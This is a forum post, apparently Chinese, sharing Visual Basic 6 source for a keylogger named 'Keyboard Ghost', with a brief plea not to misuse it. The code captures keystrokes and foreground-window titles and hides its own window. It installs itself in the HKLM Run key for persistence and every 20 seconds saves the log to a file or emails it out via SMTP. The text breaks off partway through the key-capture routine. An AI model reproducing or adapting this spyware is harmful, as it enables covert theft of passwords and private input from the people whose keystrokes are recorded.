这个是我写的一个类似键盘幽灵的程序,大家自己看看吧。晚上无聊写的,不要拿来做坏事呀。
mCommon.bas
Attribute VB_Name = "mFuncation"
'设置钩子
Public Function Hook(ByVal hWnd As Long)
'监视所有消息
'设置子分类
lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
End Function
'卸载钩子
Public Sub UnHook(ByVal hWnd As Long)
'卸载子分类
Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)
End Sub
'设置CAPS键和NUMLOCK键的状态为开
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
'取得一个窗体的标题
Public Function GetCaption(WindowHandle As Long) As String
Dim strBuffer As String, lngTextLength As Long
lngTextLength = GetWindowTextLength(WindowHandle)
strBuffer = String(lngTextLength, 0)
Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
GetCaption$ = strBuffer
End Function
Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function
mAPI.bas
Attribute VB_Name = "mAPI"
'申明API
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'申明常数
Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Const GWL_WNDPROC = -4
frmMain.frm
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain
BorderStyle = 1 'Fixed Single
Caption = "键盘幽灵-VB版"
ClientHeight = 4305
ClientLeft = 45
ClientTop = 435
ClientWidth = 6750
Icon = "frmMain.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 4305
ScaleWidth = 6750
StartUpPosition = 3 '窗口缺省
Begin VB.CheckBox chkShowForm
Caption = "实现出现运行设置窗体"
Enabled = 0 'False
Height = 255
Left = 3000
TabIndex = 15
Top = 1920
Width = 2175
End
Begin MSWinsockLib.Winsock Winsock1
Left = 720
Top = 120
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Timer Timer2
Enabled = 0 'False
Interval = 20000
Left = 5520
Top = 3360
End
Begin VB.Timer Timer1
Enabled = 0 'False
Interval = 1
Left = 5160
Top = 3360
End
Begin VB.CommandButton cmdExit
Caption = "退出"
Height = 375
Left = 4800
TabIndex = 14
Top = 3840
Width = 975
End
Begin RichTextLib.RichTextBox txtKeyLog
Height = 735
Left = 4080
TabIndex = 13
Top = 840
Visible = 0 'False
Width = 2415
_ExtentX = 4260
_ExtentY = 1296
_Version = 393217
ScrollBars = 3
DisableNoScroll = -1 'True
Appearance = 0
TextRTF = $"frmMain.frx":08CA
End
Begin VB.CommandButton cmdStart
Caption = "确定"
Height = 375
Left = 3480
TabIndex = 12
Top = 3840
Width = 1095
End
Begin VB.TextBox txtEmail
Appearance = 0 'Flat
Enabled = 0 'False
Height = 270
Left = 2280
TabIndex = 11
Top = 3360
Width = 2655
End
Begin VB.TextBox txtPort
Alignment = 2 'Center
Appearance = 0 'Flat
Enabled = 0 'False
Height = 270
Left = 5280
MaxLength = 5
TabIndex = 9
Text = "25"
Top = 2940
Width = 735
End
Begin VB.TextBox txtSmtp
Appearance = 0 'Flat
Enabled = 0 'False
Height = 270
Left = 2280
TabIndex = 7
Text = "Localhost"
Top = 2940
Width = 2655
End
Begin VB.CheckBox chkSendMail
Caption = "是否将键盘记录以电子邮件发送到自动的EMAIL中"
Height = 375
Left = 240
TabIndex = 5
Top = 2400
Width = 4335
End
Begin VB.CheckBox chkStartup
Caption = "启动时是否自动运行"
Height = 255
Left = 240
TabIndex = 4
Top = 1920
Width = 2415
End
Begin VB.CommandButton cmdSavePath
Appearance = 0 'Flat
Caption = "..."
Enabled = 0 'False
Height = 255
Left = 3240
TabIndex = 3
Top = 1440
Width = 495
End
Begin VB.TextBox txtFilePath
Appearance = 0 'Flat
Enabled = 0 'False
Height = 270
Left = 240
TabIndex = 2
Top = 1440
Width = 2895
End
Begin MSComDlg.CommonDialog cdgSaveFile
Left = 120
Top = 120
_ExtentX = 847
_ExtentY = 847
_Version = 393216
DialogTitle = "保存键盘记录文件"
Filter = "文本文件(*.txt)|*.txt"
InitDir = "c:\"
End
Begin VB.CheckBox chkSaveFile
Caption = "是否将记录存储为文件"
Height = 255
Left = 240
TabIndex = 1
Top = 960
Width = 2295
End
Begin VB.Label lblEmail
Alignment = 2 'Center
AutoSize = -1 'True
Caption = "Email:"
Enabled = 0 'False
Height = 180
Left = 1560
TabIndex = 10
Top = 3420
Width = 630
End
Begin VB.Label lblPort
Alignment = 2 'Center
AutoSize = -1 'True
Caption = ":"
Enabled = 0 'False
Height = 180
Left = 5040
TabIndex = 8
Top = 3000
Width = 180
End
Begin VB.Label lblSmtp
Alignment = 2 'Center
AutoSize = -1 'True
Caption = "Smtp服务器:"
Enabled = 0 'False
Height = 180
Left = 1080
TabIndex = 6
Top = 3000
Width = 1080
End
Begin VB.Label lblAppName
Alignment = 2 'Center
AutoSize = -1 'True
Caption = "运行设定"
BeginProperty Font
Name = "华文彩云"
Size = 26.25
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 540
Left = 2310
TabIndex = 0
Top = 240
Width = 2115
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'枚举SMTP的各种状态
Private Enum SMTP_State
MAIL_CONNECT
MAIL_HELO
MAIL_FROM
MAIL_RCPTTO
MAIL_DATA
MAIL_DOT
MAIL_QUIT
End Enum
'申明变量
Dim strWindow As String
Dim strErrorFile As String
Dim m_State As SMTP_State
Private Sub chkSaveFile_Click()
If chkSaveFile.Value = Checked Then
txtFilePath.Enabled = True
cmdSavePath.Enabled = True
Else
txtFilePath.Enabled = False
cmdSavePath.Enabled = False
End If
End Sub
Private Sub chkSendMail_Click()
If chkSendMail.Value = Checked Then
lblSmtp.Enabled = True
txtSmtp.Enabled = True
lblPort.Enabled = True
txtPort.Enabled = True
lblEmail.Enabled = True
txtEmail.Enabled = True
Else
lblSmtp.Enabled = False
txtSmtp.Enabled = False
lblPort.Enabled = False
txtPort.Enabled = False
lblEmail.Enabled = False
txtEmail.Enabled = False
End If
End Sub
Private Sub chkStartup_Click()
If chkStartup.Value = Checked Then
chkShowForm.Enabled = True
Else
chkShowForm.Enabled = False
End If
End Sub
Private Sub cmdExit_Click()
Unload Me
End
End Sub
Private Sub cmdSavePath_Click()
cdgSaveFile.ShowSave
txtFilePath.Text = cdgSaveFile.FileName
End Sub
Private Sub cmdStart_Click()
Dim objWSHShell As Object
Set objWSHShell = CreateObject("WScript.Shell")
If chkSaveFile.Value = Checked Then
If txtFilePath.Text = "" Then
MsgBox "键盘日志文件保存目录为空", vbOKOnly, "错误"
Exit Sub
End If
SaveSetting App.EXEName, "Setting", "SaveFile", "True"
SaveSetting App.EXEName, "Setting", "FilePath", txtFilePath.Text
Open txtFilePath.Text For Append As #1
Write #1, vbCrLf
Write #1, "[日志开始时间: " & Now & "]" '日志开始记录时间
Write #1, String(50, "-")
Close #1
Else
SaveSetting App.EXEName, "Setting", "SaveFile", "False"
SaveSetting App.EXEName, "Setting", "FilePath", ""
End If
If chkSendMail.Value = Checked Then
If txtEmail.Text = "" Or txtSmtp.Text = "" Or txtPort.Text = "" Then
MsgBox "请填写完整的邮件信息", vbOKOnly, "错误"
Exit Sub
End If
SaveSetting App.EXEName, "Setting", "SendMail", "True"
SaveSetting App.EXEName, "Setting", "Smtp", txtSmtp.Text
SaveSetting App.EXEName, "Setting", "Port", txtPort.Text
SaveSetting App.EXEName, "Setting", "Email", txtEmail.Text
Else
SaveSetting App.EXEName, "Setting", "SendMail", "False"
SaveSetting App.EXEName, "Setting", "Smtp", ""
SaveSetting App.EXEName, "Setting", "Port", ""
SaveSetting App.EXEName, "Setting", "Email", ""
End If
If chkStartup.Value = Checked Then
SaveSetting App.EXEName, "Setting", "StartUp", "True"
objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", App.Path & "\" & App.EXEName & ".EXE"
If chkShowForm.Value = Checked Then
SaveSetting App.EXEName, "Setting", "ShowForm", "True"
Else
SaveSetting App.EXEName, "Setting", "ShowForm", "False"
End If
Else
objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", ""
SaveSetting App.EXEName, "Setting", "StartUp", "False"
End If
Timer1.Enabled = True
Timer2.Enabled = True
Me.Visible = False
End Sub
Private Sub Form_Load()
'如果程序以运行,则不再运行本程序
If App.PrevInstance = True Then
Unload Me
End
End If
Hook Me.hWnd
If GetSetting(App.EXEName, "Setting", "SaveFile") = "True" Then
chkSaveFile.Value = Checked
txtFilePath.Enabled = True
cmdSavePath.Enabled = True
End If
If GetSetting(App.EXEName, "Setting", "FilePath") <> "" Then
txtFilePath.Text = GetSetting(App.EXEName, "Setting", "FilePath")
End If
If GetSetting(App.EXEName, "Setting", "SendMail") = "True" Then
chkSendMail.Value = Checked
lblSmtp.Enabled = True
txtSmtp.Enabled = True
lblPort.Enabled = True
txtPort.Enabled = True
lblEmail.Enabled = True
txtEmail.Enabled = True
End If
If GetSetting(App.EXEName, "Setting", "Smtp") <> "" Then
txtSmtp.Text = GetSetting(App.EXEName, "Setting", "Smtp")
End If
If GetSetting(App.EXEName, "Setting", "Port") <> "" Then
txtPort.Text = GetSetting(App.EXEName, "Setting", "Port")
End If
If GetSetting(App.EXEName, "Setting", "Email") <> "" Then
txtEmail.Text = GetSetting(App.EXEName, "Setting", "Email")
End If
If GetSetting(App.EXEName, "Setting", "StartUp") = "True" Then
chkStartup.Value = Checked
If GetSetting(App.EXEName, "Setting", "ShowForm") = "True" Then
chkShowForm.Value = Checked
Me.Visible = True
Else
chkShowForm.Value = Checked
cmdStart_Click
End If
End If
strWindow = GetCaption(GetForegroundWindow)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnHook Me.hWnd
End Sub
'每隔20秒将键盘记录写入文件或以电子邮件发送出去
Private Sub Timer2_Timer()
If chkSaveFile.Value = Checked Then
Open txtFilePath.Text For Append As #1
Write #1, txtKeyLog.Text
Close #1
'清空RichTextBox控件的内容以释放内存
txtKeyLog.Text = ""
End If
If chkSendMail.Value = Checked Then
Winsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)
m_State = MAIL_CONNECT
End If
End Sub
Private Sub txtPort_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 48 To 57
Case vbKeyBack, vbKeyTab
Case Else
KeyAscii = 0
End Select
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strServerResponse As String
Dim strResponseCode As String
Dim strDataToSend As String
Winsock1.GetData strServerResponse
strResponseCode = Left(strServerResponse, 3)
If strResponseCode = "250" Or _
strResponseCode = "220" Or _
strResponseCode = "354" Then
Select Case m_State
Case MAIL_CONNECT
m_State = MAIL_HELO
strDataToSend = Trim(txtEmail.Text)
strDataToSend = Left(strDataToSend, _
InStr(1, strDataToSend, "@") - 1)
Winsock1.SendData "HELO " & strDataToSend & vbCrLf
Case MAIL_HELO
m_State = MAIL_FROM
Winsock1.SendData "MAIL FROM:" & "" & vbCrLf
Case MAIL_FROM
m_State = MAIL_RCPTTO
Winsock1.SendData "RCPT TO:" & Trim(txtEmail.Text) & vbCrLf
Case MAIL_RCPTTO
m_State = MAIL_DATA
Winsock1.SendData "DATA" & vbCrLf
Case MAIL_DATA
m_State = MAIL_DOT
Winsock1.SendData "Subject:" & "键盘幽灵-VB版键盘记录文件" & Now & vbLf & vbCrLf
Dim varLines As Variant
Dim varLine As Variant
Dim strMessage As String
strMessage = txtKeyLog.Text & vbCrLf & vbCrLf
Winsock1.SendData "." & vbCrLf
Case MAIL_DOT
m_State = MAIL_QUIT
Winsock1.SendData "QUIT" & vbCrLf
Case MAIL_QUIT
Winsock1.Close
End Select
Else
Winsock1.Close
If Not m_State = MAIL_QUIT Then
strErrorFile = "errorlog.txt"
Open App.Path & "\" & strErrorFile For Append As #2
Write #2, "邮件发送错误:" & Number & Description & vbCrLf
Close #2
End If
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
strErrorFile = "errorlog.txt"
Open App.Path & "\" & strErrorFile For Append As #2
Write #2, "邮件发送错误:" & Number & Description & vbCrLf
Close #2
End Sub
Private Sub Timer1_Timer()
'如果取得的窗口标题不是前面变量中存储的标题,则重新改变设置变量的值,并且重新设置键盘记录内容
If strWindow <> GetCaption(GetForegroundWindow) Then
strWindow = GetCaption(GetForegroundWindow)
txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & "[" & Time & " - 窗口: " & strWindow & "]" & Chr(13)
End If
'下面的程序将记录键盘的操作,并保存在RichTextBox控件中
'按Ctrl + lngShift + F12则呼叫本程序
Dim lngKeyState As Long
Dim lngShift As Long
lngShift = GetAsyncKeyState(vbKeyShift)
'记录大写字母A和小写字母a
lngKeyState = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "A"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "a"
End If
'记录大写字母B和小写字母b
lngKeyState = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "B"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "b"
End If
'记录大写字母C和小写字母c
lngKeyState = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "C"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "c"
End If
'记录大写字母D和小写字母d
lngKeyState = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "D"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "d"
End If
'记录大写字母E和小写字母e
lngKeyState = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "E"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "e"
End If
'记录大写字母F和小写字母f
lngKeyState = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "F"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "f"
End If
'记录大写字母G和小写字母g
lngKeyState = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "G"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "g"
End If
'记录大写字母H和小写字母h
lngKeyState = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "H"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "h"
End If
'记录大写字母I和小写字母i
lngKeyState = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "I"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "i"
End If
'记录大写字母J和小写字母j
lngKeyState = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "J"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "j"
End If
'记录大写字母K和小写字母k
lngKeyState = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "K"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "k"
End If
'记录大写字母L和小写字母l
lngKeyState = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "L"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "l"
End If
'记录大写字母M和小写字母m
lngKeyState = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "M"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "m"
End If
'记录大写字母N和小写字母n
lngKeyState = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "N"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "n"
End If
'记录大写字母O和小写字母o
lngKeyState = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "O"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "o"
End If
'记录大写字母P和小写字母p
lngKeyState = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "P"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "p"
End If
'记录大写字母Q和小写字母q
lngKeyState = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "Q"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "q"
End If
'记录大写字母R和小写字母r
lngKeyState = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "R"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "r"
End If
'记录大写字母S和小写字母s
lngKeyState = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "S"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "s"
End If
'记录大写字母T和小写字母t
lngKeyState = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "T"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "t"
End If
'记录大写字母U和小写字母u
lngKeyState = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "U"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "u"
End If
'记录大写字母V和小写字母v
lngKeyState = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "V"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "v"
End If
'记录大写字母W和小写字母w
lngKeyState = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "W"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "w"
End If
'记录大写字母X和小写字母x
lngKeyState = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "X"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "x"
End If
'记录大写字母Y和小写字母y
lngKeyState = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "Y"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "y"
End If
'记录大写字母Z和小写字母z
lngKeyState = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "Z"
End If
If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
txtKeyLog.Text = txtKeyLog.Text + "z"
End If
'记录数字1和!号
lngKeyState = GetAsyncKeyState(vbKey1)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "1"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "!"
End If
'记录数字2和@号
lngKeyState = GetAsyncKeyState(vbKey2)
If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "2"
End If
If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
txtKeyLog.Text = txtKeyLog.Text + "@"
End If
'记录数字3和#号
lngKeyState = GetAsyncKeyState(vbKey3)
